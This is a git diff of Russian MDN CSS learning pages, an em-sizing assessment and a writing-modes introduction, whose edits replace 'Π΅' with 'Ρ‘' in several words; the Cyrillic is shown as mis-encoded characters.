+ <li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ‚Π΅Π³Ρƒ <code>&lt;h2&gt;</code> ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° 20px (Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² <code>em</code>s) ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ высоту строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² Ρ†Π΅Π½Ρ‚Ρ€ поля содСрТимого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°. Напомним, Ρ‡Ρ‚ΠΎ высота ΠΎΠΊΠ½Π° содСрТимого (content box) Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ 30px β€” это Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ всС числа, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для вычислСния высоты строки.</li>
+ <li>ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ‚Π΅Π³Ρƒ <code>&lt;p&gt;</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π° ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° 15px (Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² <code>em</code>s) ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ высоту строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² Ρ†Π΅Π½Ρ‚Ρ€ ΠΎΠΊΠ½Π° содСрТимого Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π°. Напомним, Ρ‡Ρ‚ΠΎ высота ΠΎΠΊΠ½Π° содСрТимого Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ 30pxΒ β€” это Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ всС числа, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для вычислСния высоты строки.</li>
<li>Π’ качСствС послСднСго ΡˆΡ‚Ρ€ΠΈΡ…Π° Π·Π°Π΄Π°ΠΉΡ‚Π΅ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>&lt;article&gt;</code> ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ отступа (padding), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ Π»Π΅Π²Ρ‹ΠΉ ΠΊΡ€Π°ΠΉ выровнялся с Ρ‚Π΅Π³ΠΎΠΌ <code>&lt;h2&gt;</code> ΠΈ Π½ΠΈΠΆΠ½ΠΈΠΌ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠΌ, ΠΈ установитС Π΅Π³ΠΎ Ρ†Π²Π΅Ρ‚ достаточно свСтлым, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ Π±Ρ‹Π»ΠΎ Π»Π΅Π³ΠΊΠΎ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ.</li>
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» устанавливаСт <code>font-size: 10px;</code> для элСмСнта<code>&lt;html&gt;</code> β€” это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ для Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ² <code>&lt;html&gt;</code> <code>em</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ 10px, Π° Π½Π΅ 16px, ΠΊΠ°ΠΊ это Π·Π°Π΄Π°Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. (Π­Ρ‚ΠΎ, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ Ρƒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ², ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ΄Π΅Ρ‚ Ρ€Π΅Ρ‡ΡŒ, Π½Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΊΠΎΠ², находящихся Π² ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ ΠΈ <code>&lt;html&gt;</code>, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… установлСн Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π°. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния, хотя Π² этом простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ это Π½Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ» устанавливаСт <code>font-size: 10px;</code> для элСмСнта<code>&lt;html&gt;</code> β€” это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ для Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ² <code>&lt;html&gt;</code> <code>em</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ 10px, Π° Π½Π΅ 16px, ΠΊΠ°ΠΊ это Π·Π°Π΄Π°Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. (Π­Ρ‚ΠΎ, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ Ρƒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ², ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ΄Ρ‘Ρ‚ Ρ€Π΅Ρ‡ΡŒ, Π½Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΊΠΎΠ², находящихся Π² ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ ΠΈ <code>&lt;html&gt;</code>, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… установлСн Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π°. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния, хотя Π² этом простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ это Π½Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°).</p>
</div>
<p>Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π΅Ρ‰ΠΈ для Ρ€Π°Π·ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ:</p>
@@ -90,7 +90,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
<ul>
<li>Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ HTML, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ Π½Π΅ΠΌΡƒ CSS.</li>
- <li>ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ em Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ Π² пиксСлях. ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт (<code>&lt;html&gt;</code>), ΠΈ Π½Π° сколько Π΅Π³ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΆΠ΅Π»Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ даст Π²Π°ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>em</code>, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π² Ρ‚Π°ΠΊΠΎΠΌ простом случаС ΠΊΠ°ΠΊ этот.</li>
+ <li>ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ em Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ Π² пиксСлях. ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт (<code>&lt;html&gt;</code>), ΠΈ Π½Π° сколько Π΅Π³ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΌΠ½ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΆΠ΅Π»Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ даст Π²Π°ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>em</code>, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π² Ρ‚Π°ΠΊΠΎΠΌ простом случаС ΠΊΠ°ΠΊ этот.</li>
</ul>
<h2 id="ΠžΠ±Ρ€Π°Π·Π΅Ρ†">ΠžΠ±Ρ€Π°Π·Π΅Ρ†</h2>
@@ -101,7 +101,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°</h2>
-<p>Если Π²Ρ‹ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚Π΅ эту ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ курса, Ρƒ вас Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡ‚Π΄Π°Ρ‚ΡŒ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ своСму ΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŽ/наставнику для ΠΎΡ†Π΅Π½ΠΊΠΈ. Если Π²Ρ‹ ΡΠ°ΠΌΠΎΠΎΠ±ΡƒΡ‡Π°Π΅Ρ‚Π΅ΡΡŒ, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ руководство ΠΏΠΎ ΠΎΡ†Π΅Π½ΠΊΠ΅ достаточно простым ΠΏΡƒΡ‚Π΅ΠΌ: спросив Π² <a href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682">Ρ‚Π΅ΠΌΠ΅ обсуТдСния ΠΎΠ± этом ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ</a>,Β ΠΈΠ»ΠΈ Π² ΠΊΠ°Π½Π°Π»Π΅ <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC Π½Π° <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Но сначала ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ β€” Π²Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π²Ρ‹ΠΈΠ³Ρ€Π°Π΅Ρ‚Π΅ ΠΏΡƒΡ‚Π΅ΠΌ ΠΎΠ±ΠΌΠ°Π½Π°!</p>
+<p>Если Π²Ρ‹ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚Π΅ эту ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ курса, Ρƒ вас Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡ‚Π΄Π°Ρ‚ΡŒ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ своСму ΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŽ/наставнику для ΠΎΡ†Π΅Π½ΠΊΠΈ. Если Π²Ρ‹ ΡΠ°ΠΌΠΎΠΎΠ±ΡƒΡ‡Π°Π΅Ρ‚Π΅ΡΡŒ, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ руководство ΠΏΠΎ ΠΎΡ†Π΅Π½ΠΊΠ΅ достаточно простым ΠΏΡƒΡ‚Ρ‘ΠΌ: спросив Π² <a href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682">Ρ‚Π΅ΠΌΠ΅ обсуТдСния ΠΎΠ± этом ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ</a>,Β ΠΈΠ»ΠΈ Π² ΠΊΠ°Π½Π°Π»Π΅ <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC Π½Π° <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Но сначала ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ β€” Π²Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π²Ρ‹ΠΈΠ³Ρ€Π°Π΅Ρ‚Π΅ ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΎΠ±ΠΌΠ°Π½Π°!</p>
<p>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</p>
diff --git a/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html b/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html
index f572aa9758..ee3148f113 100644
--- a/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html
+++ b/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions
---
<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div>
-<p>МногиС свойства ΠΈ значСния, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ Π΄ΠΎ сих ΠΏΠΎΡ€ ΠΏΡ€ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ CSS, Π±Ρ‹Π»ΠΈ привязаны ΠΊ физичСским Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌ нашСго экрана.Β ΠœΡ‹ создаСм Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, свСрху, справа, снизу ΠΈ слСва ΠΎΡ‚ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ.Π­Ρ‚ΠΈ физичСскиС Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просматриваСтся ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ, ΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π΅Π½Π΄Π΅Π½Ρ†ΠΈΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ языки с письмом слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, английский ΠΈΠ»ΠΈ французский) Π»ΡƒΡ‡ΡˆΠ΅, Ρ‡Π΅ΠΌ языки с письмом справа Π½Π°Π»Π΅Π²ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, арабский).</p>
+<p>МногиС свойства ΠΈ значСния, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ Π΄ΠΎ сих ΠΏΠΎΡ€ ΠΏΡ€ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ CSS, Π±Ρ‹Π»ΠΈ привязаны ΠΊ физичСским Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌ нашСго экрана.Β ΠœΡ‹ создаём Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, свСрху, справа, снизу ΠΈ слСва ΠΎΡ‚ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ.Π­Ρ‚ΠΈ физичСскиС Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просматриваСтся ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ, ΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π΅Π½Π΄Π΅Π½Ρ†ΠΈΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ языки с письмом слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, английский ΠΈΠ»ΠΈ французский) Π»ΡƒΡ‡ΡˆΠ΅, Ρ‡Π΅ΠΌ языки с письмом справа Π½Π°Π»Π΅Π²ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, арабский).</p>
<p>Однако Π² послСдниС Π³ΠΎΠ΄Ρ‹ CSS развивался чтобы Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π½ΡƒΡŽ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ с Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ справа Π½Π°Π»Π΅Π²ΠΎ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ свСрху Π²Π½ΠΈΠ· (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, в японском языкС) - эти Ρ€Π°Π·Π½Ρ‹Π΅ направлСния Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌΠΈ письма. По ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ³Π°Π΅Ρ‚Π΅ΡΡŒ Π² ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠΈΒ ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ, ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ€Π΅ΠΆΠΈΠΌΠΎΠ² письма Π±ΡƒΠ΄Π΅Ρ‚ Π²Π°ΠΌ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, поэтому ΠΌΡ‹ сСйчас ΠΈ познакомимся с Π½ΠΈΠΌΠΈ.</p>
@@ -24,9 +24,9 @@ translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions
<h2 id="КакиС_Π±Ρ‹Π²Π°ΡŽΡ‚_Ρ€Π΅ΠΆΠΈΠΌΡ‹_письма">КакиС Π±Ρ‹Π²Π°ΡŽΡ‚ Ρ€Π΅ΠΆΠΈΠΌΡ‹ письма?</h2>
-<p>Π Π΅ΠΆΠΈΠΌ письма Π² CSS опрСдСляСт, ΠΈΠ΄Π΅Ρ‚ Π»ΠΈ тСкст ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈΠ»ΠΈ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ. Бвойство {{cssxref ("writing-mode")}} позволяСт Π½Π°ΠΌ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π΅ΠΆΠΈΠΌΠ° письма в Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Для этого Π²Π°ΠΌ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° языкС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ письма - Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π΅ΠΆΠΈΠΌ письма частСй вашСго ΠΌΠ°ΠΊΠ΅Ρ‚Π° для творчСских Ρ†Π΅Π»Π΅ΠΉ.</p>
